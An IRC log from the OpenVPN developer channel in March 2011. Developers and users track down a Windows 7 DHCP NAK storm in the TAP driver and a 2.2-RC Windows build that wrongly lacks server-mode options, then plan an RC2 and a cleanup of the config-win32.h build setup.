[~janjust@2001:610:120:e100:212:3fff:fe20:8d10] has quit [Changing host] 05:32 -!- janjust [~janjust@openvpn/community/support/janjust] has joined #openvpn-devel 05:32 -!- mode/#openvpn-devel [+v janjust] by ChanServ 05:33 -!- s7r [~s7r@unaffiliated/s7r] has joined #openvpn-devel 05:37 <+janjust> hi all, and perhaps in particular , TheSilentTechie 05:37 <@vpnHelper> RSS Update - tickets: #97: OpenVPN produces DCHP NAK bomb on Win 7 64bit <https://community.openvpn.net/openvpn/ticket/97> 05:37 <+janjust> I've just entered a trac ticket about DHCP problems during the OpenVPN connection phase on win7 05:37 <+janjust> I've been reading too many reports of people having problems with the tap driver on windows 7... I'd like to hunt this one down 06:01 < TheSilentTechie> hi janjust and the rest of the irc. 06:02 < TheSilentTechie> cool, that mean the problem of my forum entry was accepted? 06:02 < TheSilentTechie> can i do anything to clear it a little bit more? 06:06 <+janjust> dunno whether it was accepted - there's no real acceptance test 06:06 <+janjust> it's just that I've been reading too many reports lately of people having problems with win7 + openvpn 06:06 <+janjust> and I must add that I can verify myself that openvpn on win7 seems to be less stable than on XP 06:07 <+janjust> as for making things clearer: it would help if you could produce a wireshark/pcap log as well when the connection drops 06:16 < TheSilentTechie> I have two problems with pcap log. Once only one DHCP ACK is been listed and the second one is that is from my company it is not allowed to give the pcap out. 06:17 < TheSilentTechie> have you a development server that I can use for a wireshark snap? 06:19 < TheSilentTechie> Otherwise I must create on my developmnet datacenter an openvpn server and try it with that. but this need a little bit more time and on the server site is a linux server and not a windows server. 06:20 < TheSilentTechie> at the moment I host the server on W2k3 x86. 06:24 <+janjust> it's the client log I'm interested in... I can give you openvpn access to a dev server (which is running linux) 06:26 < TheSilentTechie> I think you have my e-mail address. Do you want send me the login data and the I will try it from the office. 06:28 <+janjust> I'll send email ; can't give you login info but I can give you a cert+key to test with 06:31 <@dazo> This sounds like a pretty critical bug ... I doubt we can manage to fix this quickly, as James is the core active Windows developer here ... unfortunately, his workload is enormous 06:32 <@dazo> as this is something which is found in 2.1.4, it is not a regression which is appearing on 2.2-RC ... which means it won't be a release blocker 06:32 * dazo brb 06:36 <+janjust> dazo: I'll test 2.2-RC later today to see if I can reproduce it 06:37 * dazo hopes for a miracle ... that we incidentally fixed it :) 06:59 < TheSilentTechie> janjust: I'm in a 15 minutes coffee break. If you want we can meet us later to report the newest info. When will you be online? 07:00 <+janjust> TheSilentTechie: I'm testing 2.2-RC right now and so far I have not been able to reproduce the DHCPNak bomb 07:00 <+janjust> I'll keep testing for a while 07:00 <+janjust> can you try 2.2-RC as well? 07:01 < TheSilentTechie> I try 2.2 in 15 minutes. But I must go offline with this system. in 30 minutes im back. 07:02 <+janjust> no prob, I'll be online for a while 07:12 <+janjust> bad news: just saw the same thing with 2.2RC; it is much harder to reproduce, however. 07:12 <+janjust> I also noticed that openvpn 2.2rc connects much quicker than 2.1.4 on win7 07:12 <@dazo> interesting 07:13 <@dazo> well, tun/tap driver in Windows should be newer, and it has included proper IPv6 support (just OpenVPN binary is lacking that support now) ... it might be that has changed things 07:14 <+janjust> hmmm I downloaded the 2.2-RC sources and did a "diff -r openvpn-2.1.4/tap-win32 openvpn-2.2-rc/tap-win32" : NO differences 07:14 <@dazo> huh!?!? 07:14 <@dazo> mattock: didn't you rebuild 2.2-RC with the new tun/tap driver? 07:14 <+janjust> I was amazed myself, but the sources in the .tar.gz files are identical 07:14 <@dazo> huh!? 07:15 <@dazo> don't tell me that feat_ipv6_wintap managed to escape beta2.2 07:15 <+janjust> how can I check ? 07:16 <@dazo> I just did a new test merge ... and it seems to have been lacking :( 07:16 <@dazo> grrrr ... we need a RC2 now 07:16 <+janjust> the new driver is not in the zip file either ... 07:17 * dazo was convinced that had been merged in ... but the commit history doesn't reveal that 07:19 -!- You're now known as ecrist 07:20 < TheSilentTechie> So I think I'll wait on RC2? 07:21 <+janjust> let's see if we can reproduce similar issues with RC2.... 07:32 <@dazo> TheSilentTechie: if you are able to build the allmerged branch on Windows ... you'll get all the goodies there 07:34 < TheSilentTechie> dazo: Sorry, I'm not a software developer. I have MSDN access and so I should have all. But my goal is more the administrion and system design. So sorry - no. 07:34 <@dazo> TheSilentTechie: sure, no problem! 07:35 <@dazo> We might be able to build you one though, but it will take a little while 07:35 <@dazo> mattock: we need to rethink the 2.2-RC a little bit ... as it seems we've been missing the needed pieces for the new TAP driver 07:36 <@dazo> however, the changeset is small, and isolated to IPv6 traffic ... so I'm not too concerned about bending this one into a 2.2-RC2 release ... but we'll need to let the RC cycle run a little bit longer 07:36 <@dazo> cron2_: ^^^ I'd like to hear your opinion about this 08:13 -!- viewonly0001 [~sepp@dslb-088-065-137-199.pools.arcor-ip.net] has joined #openvpn-devel 08:34 -!- TheSilentTechie [~TheSilent@p5B217FD7.dip.t-dialin.net] has left #openvpn-devel ["Verlassend"] 09:00 <@mattock> dazo: oh, 2.2-RC2 09:00 <@mattock> I need to rebuilt the TAP-drivers a.s.a.p. so that I can send them to James for signing 09:01 <@dazo> yeah, we either has the choice to add a promised feature into 2.2-RC (it looks safe enough for me) ... or to recall the IPv6 enabled tun/tap driver for windows and miss some stability tests for the 2.2 cycle 09:01 <@dazo> if doing the recall ... we don't need 2.2-RC2 09:01 <@mattock> I used drivers from 2.2-beta5 in 2.2-RC, as I didn't see any TAP-driver specific changes in git logs 09:02 <@dazo> yeah, and I was convinced those changes got merged long time ago ... but obviously that didn't happen 09:02 <@mattock> so is 2.2-RC partially broken? or only lacking functionality? 09:03 <@dazo> lacking promised functionality 09:03 <@mattock> ok 09:03 <@dazo> that's not a problem, as openvpn itself don't support IPv6 yet ... but it's a valuable time for us to be sure stability doesn't get hit by this changeset ... in theory, it shouldn't affect anything 09:03 <@mattock> were you thinking of (silently) upgrading 2.2-RC vs. making 2.2-RC2 release? 09:04 <@dazo> no, I'm thinking transparency ... 2.2-RC2 09:04 <@mattock> that sounds the best approach 09:04 <@mattock> maybe merge in Alon's patch and the makefile patch and few of mine 09:04 <@dazo> yeah, we can do that 09:05 <@mattock> when? two weeks? 09:05 <@mattock> end of march? then 2.2 by end of april? 09:05 <@dazo> but I need an ACK on Alon's patch ... as I do not have any cross-build environment he talks about (seems to be Windows oriented from his descriptions) 09:05 <@dazo> two weeks sounds realistic, to get everything in 09:06 <@dazo> the 2.2-RC phase is still a good release, it just contains less what we wanted to include 09:06 <@mattock> I'll publish my latest patch tomorrow... and I can probably fix the config.h issue with another patch 09:06 <@mattock> ACK by Thursday, perhaps 09:06 -!- s7r [~s7r@unaffiliated/s7r] has quit [Ping timeout: 246 seconds] 09:06 <@dazo> yeah, sounds doable 09:08 <@mattock> if all code changes are ready and tested by 16th (Wed), we could get James to sign the TAP-drivers and the installer on 17th (Thu) 09:08 <@mattock> and release on 18th (Fri) 09:09 <@mattock> the good thing is that 2.2-RC _has_ held in one piece - I've heard of no complaints so far 09:09 <@dazo> yeah, it seems to be good :) 09:10 <@dazo> mattock: how is the download numbers? 09:10 <@mattock> haven't checked yet 09:10 <@mattock> I'll do it now 09:11 <@dazo> heh ... if download == 0 ... and complaints would be quite an achievement :-P 09:11 <@mattock> yep :) 09:18 <@mattock> 1234 Windows installer downloads, 1297 downloads total 09:22 <@dazo> that's decent, considering we launched it on Friday :) 09:23 <@mattock> I'm trying to get stats for 2.1.4 now 09:23 <@mattock> for the same time period 09:23 <@dazo> mm 09:23 <@mattock> (it's on top) 09:25 <@mattock> 8909 downloads of 2.1.4 since Friday 09:25 <@mattock> "tyranny of the default" 09:26 <@mattock> this is something to bear in mind, actually... if we need more guinea pigs, we need to put alpha/beta/rc releases on top 09:29 <@mattock> Frank switched 2.1.4 on top, because they've got complaints about stable not being on the top 09:30 <@dazo> wow ... do people complain about such things ... 09:30 <@dazo> but agreed ... 09:30 <@dazo> I would say for 2.3 ... beta releases can be below ... but RC releases could be on the top 09:38 <+janjust> hmmm there is the little problem with the DHCP NACK storm on windows 7 in the current 2.2 release 09:50 <@dazo> but that NACK storm is also with 2.1? 09:51 <@dazo> If we find the proper fix for it within the timeline for a 2.2 release, I'm very much in favour of fixing it ... if it is a OpenVPN issue 09:51 <@dazo> since this seems to have been noticed only on Win7 ... I wonder what changed in Windows - and if that is an OS or application issue 09:52 <+janjust> in 2.1 it's more easily reproducible then in 2.2 09:53 <+janjust> and it's an interaction issue between windows and the tap-win32/tap-win64 driver 09:53 <@dazo> hmm ... which makes this even more interesting 09:53 <+janjust> my guess is that microsoft changed something in their DHCP client code 09:53 <@dazo> heh :) 09:54 <+janjust> but over the last few weeks I've seen far too many reports of people having problems with win7 and disappearing routes, no IPs assigned etc 09:54 <@dazo> most likely ... just wondering if it is to be more correct to a standard ... or if it is a bug which appeared 09:54 <@dazo> that is worrying 09:55 <+janjust> or perhaps it's just that I've started looking into this a bit harder now that I have a win7 installation of my own ;-) 09:56 <@mattock> we should bring this up to James, with all the links to bug reports and complaints 09:56 <@dazo> yeah 09:56 -!- TheSilentTechie [~TheSilent@dslb-088-065-137-094.pools.arcor-ip.net] has joined #openvpn-devel 09:56 <+janjust> yep, that's also why I submitted the trac ticket 09:56 <@mattock> I'm pretty sure this affects Access Server clients too 09:56 <@mattock> and Access Server 09:56 <@dazo> he is the main windows developer ... even though, I believe cron2_ might be a resource, esp. if the wintap driver is involved 09:56 <@mattock> yep 09:57 <+janjust> how can I build a tap-win32 driver of my own (albeit unsigned) ? 09:59 < ecrist> jeepers, you guys are noisy today 10:00 <@dazo> ecrist: ssshhhh! you're disturbing our noise! ;-) 10:00 * ecrist shuts the F up 10:00 * dazo hands over a cookie to ecrist 10:01 <+janjust> hehe go explain some more routing 101 on #openvpn, ecrist ;-) 10:02 <@dazo> janjust: I believe I put up a !tcpip on the #openvpn channel ... which might give a 101 TCP/IP guide ;-) 10:03 <+janjust> lol... it's just that this guy in #openvpn simply cannot or will not understand how to ask a question 10:04 <@dazo> heh 10:07 <+janjust> hmmm this is weird ; I'm comparing the DHCP exchange on WinXP vs Win7 10:07 <+janjust> seems like Windows 7 is forgetting something when it does a DHCPrequest (I must add that I am no DHCP expert) 10:08 <+janjust> in the DHCP request it specifies 43=vendor specific info 10:08 <+janjust> on WinXP it also sends a buffer/block with or for (I am not sure) this vendor specific info 10:08 <+janjust> on Win7 this block is missing in the DHCP request 10:12 <+janjust> dunno if this helps , but at least it is now in the irc logs somewhere ;-) 10:12 <+janjust> gotta go now, bye! 10:12 -!- janjust [~janjust@openvpn/community/support/janjust] has quit [Quit: Leaving] 10:13 <@dazo> you might be into something now ... I don't know if the vendor block is required by the spec ... but as the tun/tap driver emulation of this is written by "us" ... that means that you might have found the reason now 10:25 -!- s7r [~s7r@unaffiliated/s7r] has joined #openvpn-devel 10:27 -!- s7r [~s7r@unaffiliated/s7r] has quit [Remote host closed the connection] 10:28 -!- s7r [~s7r@unaffiliated/s7r] has joined #openvpn-devel 10:33 -!- viewonly0001 [~sepp@dslb-088-065-137-199.pools.arcor-ip.net] has left #openvpn-devel [] 10:37 -!- patelx [~patel@openvpn/corp/admin/patel] has quit [Quit: ircN 8.00 for mIRC (20100904) - www.ircN.org] 10:38 < TheSilentTechie> Dazo: I was not complete only, but I can seen janjust make a perfect job and the problem can be found. So for me no additional test are needed and I will wait to the next release? 10:39 <@dazo> TheSilentTechie: yeah, that probably makes sense now ... janjust got close to figure out what is happening 10:41 < TheSilentTechie> so thank you very much to all and please forward this also to janjust. If I have time I will follow very silent the irc and if I can do anything, please inform me. Have a nice day. Bye. 10:49 -!- TheSilentTechie [~TheSilent@dslb-088-065-137-094.pools.arcor-ip.net] has quit [Quit: Verlassend] 11:03 -!- patelx [~patel@openvpn/corp/admin/patel] has joined #openvpn-devel 11:03 -!- mode/#openvpn-devel [+o patelx] by ChanServ 11:14 -!- dazo is now known as dazo_afk 11:16 -!- andj_afk is now known as andj 11:38 -!- reiffert [~thomas@mail.reifferscheid.org] has quit [Quit: leaving] 12:19 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has joined #openvpn-devel 12:19 -!- mode/#openvpn-devel [+o jamesyonan] by ChanServ 12:27 -!- dazo_afk [~dazo@openvpn/community/developer/dazo] has quit [Quit: *puff*] 12:28 -!- dazo_afk [~dazo@openvpn/community/developer/dazo] has joined #openvpn-devel 12:28 -!- mode/#openvpn-devel [+o dazo_afk] by ChanServ 12:57 -!- andj is now known as andj_afk 13:39 -!- dazo_afk is now known as dazo 13:41 -!- andj_afk is now known as andj 13:42 <@dazo> jamesyonan: have you seen this bug report? https://community.openvpn.net/openvpn/ticket/97 13:42 <@vpnHelper> Title: #97 (OpenVPN produces DCHP NAK bomb on Win 7 64bit) – OpenVPN Community (at community.openvpn.net) 13:42 <@dazo> This is what janjust discovered earlier today: 13:42 <@dazo> <janjust> [07-03 17:07:22] hmmm this is weird ; I'm comparing the DHCP exchange on WinXP vs Win7 13:42 <@dazo> <janjust> [07-03 17:07:48] seems like Windows 7 is forgetting something when it does a DHCPrequest (I must add that I am no DHCP expert) 13:42 <@dazo> <janjust> [07-03 17:08:17] in the DHCP request it specifies 43=vendor specific info 13:42 <@dazo> <janjust> [07-03 17:08:35] on WinXP it also sends a buffer/block with or for (I am not sure) this vendor specific info 13:42 <@dazo> <janjust> [07-03 17:08:42] on Win7 this block is missing in the DHCP request 13:43 <@dazo> <janjust> [07-03 17:12:44] dunno if this helps , but at least it is now in the irc logs somewhere ;-) 13:44 <@jamesyonan> no, I just looked at it now 13:44 <@dazo> This issue is something we're hearing more and more of nowadays ... and it's always related to Win7 ... so I'm guessing this is going to bite the AS product as well 13:47 <@jamesyonan> the windows tap driver is capable of generating debug logging that might help in this case -- you have to make a debugging build of the tap driver, then run openvpn at verb 6 13:51 <@dazo> jamesyonan: I'll provide that info to janjust ... we might try to provide him with a debug enabled driver as well 13:51 <@dazo> (unless he manages to build one on his own) 13:56 <@jamesyonan> dazo: the code in the driver that can possibly send a NAK is in tap-win32/dhcp.c at line 428 (with comment: Should we reply with DHCPOFFER, DHCPACK, or DHCPNAK?) 13:57 <@jamesyonan> so if it's sending a NAK flood, then something must be triggering this conditional to be repeatedly true 13:57 <@dazo> I'm not sure, I've never really studied the DHCP exchange much ... but I'm wondering if this is related to that win7 don't send the vendor specific info any more 13:58 <@dazo> maybe poke into dnsmasq or ISC DHCP server 13:58 <@dazo> see what they do 14:08 <@jamesyonan> dazo: I don't think that the tap DHCP code cares about vendor-specific info 14:12 <@dazo> my thesis (without having looked much at the code) was that the DHCP code expected a certain pattern, and when that pattern changed (no vendor specific info), it sent NAK's instead 14:13 <@dazo> this is kind of the only big difference from WinXP and Win7 in what janjust captured 14:22 <@jamesyonan> dazo: the pattern that's it's looking for is that (a) a DHCPDISCOVER was previously received, and (b) the ciaddr field (client IP address) in the DHCPREQUEST matches what we expect it to be 14:22 <@dazo> hmm 14:22 <@jamesyonan> if this pattern is not satisfied, we reply with NAK 14:24 <@dazo> I'll share this with janjust tomorrow. Maybe he can create a complete pcap dump of the WinXP establishment as well ... then we should be able to dissect the packets more carefully and see the difference clearer 14:25 * dazo has his thoughts in some other tasks now and doesn't handle multi-tasking right now :) 14:53 -!- mape2k [~jabber@galatea.net.pennewiss.de] has joined #openvpn-devel 15:04 -!- s7r [~s7r@unaffiliated/s7r] has left #openvpn-devel ["Leaving"] 15:31 -!- mape2k [~jabber@galatea.net.pennewiss.de] has left #openvpn-devel [] 15:51 -!- andj is now known as andj_afk 17:11 -!- raidzx [~Andrew@seance.openvpn.org] has quit [Ping timeout: 260 seconds] 17:17 -!- wraithdu [47c903a9@gateway/web/freenode/ip.71.201.3.169] has joined #openvpn-devel 17:18 < wraithdu> is this the appropriate place to discuss a possible bug before reporting to trac? 17:23 < wraithdu> if anyone is available, i'm having a total failure with the 2.2 rc on win7 x64 17:24 < wraithdu> i have working server configs for 2.2 beta5 17:24 < wraithdu> after upgrading to rc, i get an "unrecognized option" error referring to the "server-bridge" directive 17:25 < wraithdu> if I manually expand the server-bridge macro, i get an unrecognized mode on "server" 17:27 <@dazo> wraithdu: this is probably a good place ... but I need to get some sleep now (it's 00:30 where I am) and I'm getting up in 6 hours again 17:27 <@dazo> but you can also double check your issue on #openvpn ... more people there who might know 17:28 < wraithdu> i'm in there as well to see if anyone is available 17:28 < wraithdu> well 6 hours is 11:30 pm here in the states... so maybe i'll give you a try during work hours tomorrow 17:28 < wraithdu> might be a bit hard to get access to my server box at home during that time though 17:29 <@dazo> wraithdu: feel free ... I'll probably be online again in about 10 hours and available for the next 8-10 hours 17:29 * dazo has some meetings early in the morning - with travelling 17:29 < wraithdu> ok, thanks 17:29 <@dazo> c'ya! 17:30 -!- dazo is now known as dazo_afk 17:54 < wraithdu> on second thought, i might try to get up early, maybe 4:30 am CST, and see if you are online to troubleshoot a bit before work when i have access to the server box 22:31 -!- krzee [krzee@hemp.ircpimps.org] has joined #openvpn-devel 22:31 -!- krzee [krzee@hemp.ircpimps.org] has quit [Changing host] 22:31 -!- krzee [krzee@openvpn/community/support/krzee] has joined #openvpn-devel 22:31 -!- mode/#openvpn-devel [+v krzee] by ChanServ 22:45 -!- krzee [krzee@openvpn/community/support/krzee] has quit [Quit: Leaving] 23:47 -!- TheSilentTechie [~TheSilent@p5B217CB3.dip.t-dialin.net] has joined #openvpn-devel --- Day changed Tue Mar 08 2011 00:43 -!- andj_afk is now known as andj 01:05 -!- andj is now known as andj_afk 01:45 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has quit [Quit: jamesyonan] 02:18 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has joined #openvpn-devel 02:18 -!- mode/#openvpn-devel [+o jamesyonan] by ChanServ 02:20 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has quit [Client Quit] 02:45 -!- dazo_afk is now known as dazo 03:07 -!- krzee [krzee@openvpn/community/support/krzee] has joined #openvpn-devel 03:07 -!- mode/#openvpn-devel [+v krzee] by ChanServ 04:02 <@mattock> latest (as in SVN) pwm version has email-based password reset... with a minor tweak it even works 04:02 <@mattock> filing a bug report to pwm tracker 04:18 -!- d457k [~heiko@2a01:198:4d7:1128:21f:c6ff:fe44:aec8] has quit [Remote host closed the connection] 04:21 -!- d12fk [~heiko@2a01:198:4d7:1128:21f:c6ff:fe44:aec8] has joined #openvpn-devel 04:21 -!- mode/#openvpn-devel [+o d12fk] by ChanServ 04:46 -!- andj_afk [~adriaan@5356AABF.cm-6-7c.dynamic.ziggo.nl] has quit [Ping timeout: 250 seconds] 04:46 -!- andj_afk [~adriaan@5356AABF.cm-6-7c.dynamic.ziggo.nl] has joined #openvpn-devel 04:47 -!- andj_afk is now known as andj 04:58 -!- janjust [~janjust@ardeche.nikhef.nl] has joined #openvpn-devel 04:59 -!- janjust [~janjust@ardeche.nikhef.nl] has quit [Changing host] 04:59 -!- janjust [~janjust@openvpn/community/support/janjust] has joined #openvpn-devel 04:59 -!- mode/#openvpn-devel [+v janjust] by ChanServ 05:17 < wraithdu> @dazo, good morning 05:17 < wraithdu> i've got about 20 minutes or so, if you're available 05:18 <@dazo> wraithdu: I'm here :) Good morning to you :) 05:20 <@dazo> wraithdu: the issue you referred to yesterday strikes me as odd ... as the core openvpn source code has not been changed from 2.2-beta5 to 2.2-RC 05:20 < wraithdu> i tried on my other laptop, also running win7 x64, and got similar errors 05:20 < wraithdu> it was a different ovpn file, but it didn't recognize "push" 05:20 <@dazo> however, the windows build system is completely different ... so it might be related to some lack of features 05:21 < wraithdu> it's like the rc doesn't recognize any of the typical server directives 05:21 < wraithdu> here's my only log file entry: 05:21 <@dazo> can you pastebin client and server configs, without comments or blank lines? 05:21 < wraithdu> Options error: Unrecognized option or missing parameter(s) in server1.ovpn:27: server-bridge (2.2-RC) Use --help for more information. 05:23 < wraithdu> http://pastebin.com/TLPpBmkY 05:23 < wraithdu> that's my server conf 05:24 < wraithdu> i don't think the client conf matters, as my 2.2rc laptop client can connect to the 2.2beta5 server 05:24 <+janjust> dazo: I can confirm what wraithdu is saying 05:25 <+janjust> my 2.2RC install also does not grok a 'server-bridge' directive 05:25 < wraithdu> sweet.... i love it when i'm not crazy 05:25 <+janjust> wraithdu: I didn't say you weren't, it just makes two of us ;-) 05:25 <@dazo> cool! that makes things better 05:26 <@dazo> I like to have two independent discoveries stating the same :) 05:26 <@dazo> That means we're missing some features in config-win32.h probably for the new build system 05:26 <@dazo> mattock: ^^^ is this something you can look at? 05:27 <+janjust> http://pastebin.com/fu6jQTW4 05:27 <+janjust> for a list of available options containing "server" 05:28 <@dazo> nasty ... more server stuff is missing 05:29 < wraithdu> yeah, another error: Options error: Bad --mode parameter: server 05:29 < wraithdu> if i try to expand the server-bridge macro 05:30 <@dazo> I think I see the issue with config-win32.h ... which is used 05:30 <@dazo> just double checking against a Linux config.h 05:31 <@dazo> config-win32.h: 05:31 <@dazo> #define ENABLE_CLIENT_SERVER 1 05:31 <@dazo> #define ENABLE_CLIENT_ONLY 05:32 <@dazo> this fails ... 05:32 <@dazo> /* Enable client capability only */ 05:32 <@dazo> #define ENABLE_CLIENT_SERVER 1 05:32 <@dazo> * Enable client capability only */ 05:32 <@dazo> * #undef ENABLE_CLIENT_ONLY */ 05:32 <@dazo> this is the Linux variant 05:33 <+janjust> yep 05:33 <@dazo> mattock: we need to rebuild with ENABLE_CLIENT_ONLY undefined on Windows 05:33 <+janjust> seems that 2.2-RC is 2.2-ReallyCrappy :P 05:33 <@dazo> lol 05:34 < wraithdu> haha 05:34 <@dazo> at least --- ReallyCrippled :-P 05:35 < wraithdu> well sweet. if you guys found the problem i'm gonna get ready for work. 5:30am is early. you need any more info from me before i drop off? 05:35 <@dazo> the RC is the first release were it was built on community servers, and not by James ... so that's one difference 05:35 <@dazo> wraithdu: no, I think we found the issue thanks to your and janjust's help 05:35 < wraithdu> great, i'll keep eyes on the site for an update. 05:35 <+janjust> hehe wraithdu , you've done enough damage for one day ;-) 05:35 < wraithdu> lol 05:36 < wraithdu> good morning, of evening depending where you guys are. thanks! 05:36 <@dazo> thx a lot you too :) 05:37 < wraithdu> np, btw it's wraithdu _at_ gmail if you need to get in touch 05:49 -!- wraithdu [47c903a9@gateway/web/freenode/ip.71.201.3.169] has left #openvpn-devel [] 06:00 -!- s7r [~s7r@unaffiliated/s7r] has joined #openvpn-devel 06:29 <@mattock> dazo: 2.2-rc2 is definitely needed 06:29 <@dazo> yeah, it sure is now :) 06:29 <@mattock> the whole config-win32.h, config.h, win/settings.in stuff needs to be sorted out cleanly 06:30 <@mattock> in fact I'll get to it right now 06:30 <@mattock> James wanted to put everything that currently in config-win32.h to win/settings.in 06:31 <@dazo> that makes sense ... and lets generate a config.h based on win/settings.in ... that way, it's less places to configure stuff - and all gets correct immediately (hopefully :)) 06:31 <@mattock> I need to figure out what parts of config-win32.h are really needed 06:31 <@mattock> yep, also config-win32.h needs to be overwritten with stuff from win/settings.in 06:32 <@mattock> or checks added to the file which uses it (openvpnserv.c I think) 06:32 <@mattock> it's a small mess :) 06:34 -!- Netsplit *.net <-> *.split quits: @dazo 06:37 -!- Netsplit over, joins: dazo 06:37 -!- mode/#openvpn-devel [+o dazo] by ChanServ 06:39 <@mattock> hmm... I wonder if it makes any sense to embed config-win32.h stuff to settings.in 06:41 <@mattock> it would require duplicating everything in config-win32.h in settings.in 06:41 <@mattock> and then parsing it out and putting it back to config-win32.h 06:41 <@mattock> and config.h 06:47 -!- s7r [~s7r@unaffiliated/s7r] has quit [Quit: Leaving] 07:04 < cron2_> dazo: re RC2 with the proper tuntap driver - all for it. (Was offline for a few days, sorry for the enormous lag) 07:53 <@mattock> asked James what he thinks about config-the win32.h mess 07:53 <@mattock> and prepared him for 2.2-RC2 release 07:54 <@mattock> janjust: could attend this weeks meeting? I asked if James could come discuss the Win7 DHCP bug with us 07:54 <+janjust> this thursday? sorry , won't be able to make that (the meeting time is horribly wrong for me) 08:05 < ecrist> unfortunately, we didn't plan for the janjust contingency when we set up the time/day. ;) 08:07 <+janjust> hehe ecrist , it's 1800 UTC, right? that's my dinner time and if I miss that I get trouble with the missus ;-) 08:07 < ecrist> what do you say to a gal with two black eyes? 08:07 < ecrist> nothing you haven't already told her twice. ;) 08:07 <+janjust> bad! bad ecrist! bad! grin 08:09 <@mattock> janjust: 1900 UTC, then? :) 08:09 <@mattock> latest buildsystem patch sent to -devel 08:12 <@dazo> mattock: please forget everything about config-win32.h ... that's a hack for windows builds without autotools 08:13 <@dazo> copy every setting from config-win32.h into win/settings.in .... and let the python tools generate a proper config.h 08:13 <@dazo> and then we delete config-win32.h 08:13 <@dazo> it's really bogus 08:13 <@dazo> the config-win32.h 08:13 < cron2_> sounds overly convoluted, yes 08:14 <+janjust> actually, this thursday is not a good day... sorry, won't be able to make it 08:14 <@mattock> ok 08:15 <+janjust> wednesday 1900 UTC is feasible, however 08:15 <@mattock> dazo: how big a hack? 08:15 <@mattock> janjust: that's doable for me 08:15 <@mattock> I'll ask if James could be here then 08:16 <@dazo> the config-win32.h? if you look into syshead.h ... you'll see and #ifdef - based on which compiler ... if WIN32 compiler, use config-win32.h instead of config.h ... because config.h do not exist if you don't have autotools 08:16 <+janjust> mattock: ok, I'll read the answer here 08:17 <@mattock> does anyone build openvpn on Windows using that method? 08:17 <@mattock> isn't autotools available for Windows as well? 08:17 <@dazo> if you build via cygwin/msys , you do have autotools available ... otherwise not 08:18 <@dazo> or on *nix platforms of course, that's all autotools oriented 08:18 <@mattock> in any case, the variables from config-win32.h need to be available for the new buildsystem, as they're queried all over the source code 08:18 <@dazo> the only purpose config-win32.h is to have a static config which is not auto-generated for platforms not having autotools 08:18 <@dazo> that's my point, all those places should use config.h instead 08:19 <@dazo> and if the python build tools generates config.h, then it is closer to a autotools environment anyway - thus simpler 08:19 <@dazo> we should not/never ever depend on config-win32.h ... only config.h 08:19 <@mattock> well, it does not generate anything atm 08:20 <@mattock> so it's still depending on config-win32.h 08:20 <@dazo> so we need a generator in the python tools, which parses settings.in ... and generates a config.h out of it 08:21 <@mattock> agreed... the stuff that "configure" usually detects is what makes me think... things like HAVE_CTYPE_H, HAVE_ERRNO_H 08:21 <@mattock> how to generate that without autotools, with MS tools 08:22 <@mattock> the ENABLE_* stuff is easy 08:22 <@dazo> python build tools 08:22 <@dazo> the HAVE_ stuff is basically static on Windows 08:22 <@dazo> in fact, that's why we have config-win32.h today, because there are a lot of static things ... but not everything 08:22 <@mattock> so, basically copying over config-win32.h contents would be good enough 08:22 <@dazo> yeah 08:22 <@mattock> ok, good 08:23 <@mattock> I asked James what approach to config-win32.h/config.h/settings.in dilemma he prefers 08:23 <@dazo> and then next phase could be to add some of the --enable-xxxxxx / --disable-xxxxx arguments which ./configure have today - which also sets these args 08:24 <@mattock> that's definitely doable 08:25 <@dazo> --enable/--disable usually adds these ENABLE_ and USE_ macros ... HAVE_ macros are auto-detected by autotools scripts, and these should be more static/predictable in MS build environments (Visual Studio type) 08:33 <@mattock> domake-win seems to be using autotools... I wonder _how_ one would build OpenVPN on Windows without autotools or the new Python-based buildsystem 08:33 <@mattock> if nobody does that then we should scrap config-win32.h a.s.a.p. 08:33 <@mattock> and all checks for it 08:43 <@mattock> okay, asked James about replacing config-win32.h with win/config.h 08:43 <@mattock> that was probably his intention now that I think of it 08:44 <@mattock> janjust: asked James about tomorrow 08:44 <+janjust> ok 08:44 <@mattock> dazo: did my latest patch arrive to openvpn-devel? 08:44 <@dazo> mattock: I did get something, yes :) 08:44 <@mattock> something, lol :P 08:45 <@dazo> yeah, it did arrive :) 08:45 <@mattock> as in "not really sure what it is, but..." 08:47 <@dazo> I'm staying low on the python tools ACK, when I can't test them in a separate environment ... but all of your patches makes pretty much sense 09:03 -!- TheSilentTechie [~TheSilent@p5B217CB3.dip.t-dialin.net] has left #openvpn-devel ["Verlassend"] 09:07 <+janjust> hmmm just discovered something interesting wrt the Win7 dhcp bug 09:08 <+janjust> I had disabled most of the tunnel adapters provided by M$ , i.e. Teredo, 6to4 etc 09:08 <+janjust> and I could not reproduce the issue any more 09:08 <+janjust> Then I re-enabled them (including the m$ virtual wifi adapter) 09:08 <+janjust> and boom, the problem is back 09:09 <+janjust> what the *HECK* did mickeysoft do with win7? 09:14 <@dazo> hmm 09:15 <@dazo> janjust: I had a chat with james yesterday ... I'll dig up the backlog after the meeting I'm in right now 09:15 <@dazo> we'd also like to compare the pcap dump from a working setup with the one which breaks 09:16 <+janjust> dazo: ok; what I'm really interested in , is a quick&dirty way to build my own (unsigned) tap-win32 driver 09:16 <@dazo> mattock: ^^^ 09:16 <+janjust> that way I can toy with it a bit more 09:16 <@dazo> there are some debug stuff you can enable in the tap driver too 09:16 <+janjust> I've seen the code, I want to add more debug stuff 09:16 <@mattock> janjust: you could use the WinXP build computer I've setup 09:16 < cron2_> janjust: with domake-win, it works 09:17 < cron2_> you need the MS WDK and to do some fiddling with the build scripts 09:17 < cron2_> mattock: is your XP machine able to build the tap driver as well? 09:17 <@vpnHelper> RSS Update - tickets: #98: occasional message flood to server <https://community.openvpn.net/openvpn/ticket/98> 09:17 <@mattock> cron2: yep 09:17 <@mattock> the whole package 09:17 <+janjust> I have a win7 laptop and a win XP VM .. either could be used 09:18 <@dazo> janjust: http://pastebin.com/xvX4MCzK 09:18 * dazo pays attention to his meeting again 09:18 <@mattock> janjust: setting up the build environment is a pain, so using the existing build computer would classify as "quick and dirty" :) 09:19 < cron2_> mattock: oh, cool 09:19 <@mattock> but if you want to setup your own I can help 09:19 * cron2_ seconds the "pain" bit... 09:19 <@mattock> I'm thinking that packaging the dependencies into a tarball would help a lot 09:20 <@mattock> of course, MS stuff could not be distributed, but the rest could 09:20 <@mattock> actually domake-win hints that there are/have been "openvpn build dependency packages" 09:21 <@mattock> 